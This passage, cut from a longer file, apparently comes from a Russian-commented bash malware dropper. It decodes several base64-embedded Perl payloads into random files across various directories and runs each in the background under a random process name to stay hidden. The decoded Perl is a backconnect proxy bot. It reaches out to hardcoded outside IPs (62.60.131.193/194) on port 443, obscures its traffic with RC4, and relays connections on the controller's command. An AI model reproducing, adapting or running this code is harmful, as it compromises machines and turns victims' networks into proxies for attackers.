eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #6 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #6 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 7 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #7 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #7 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 8 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt 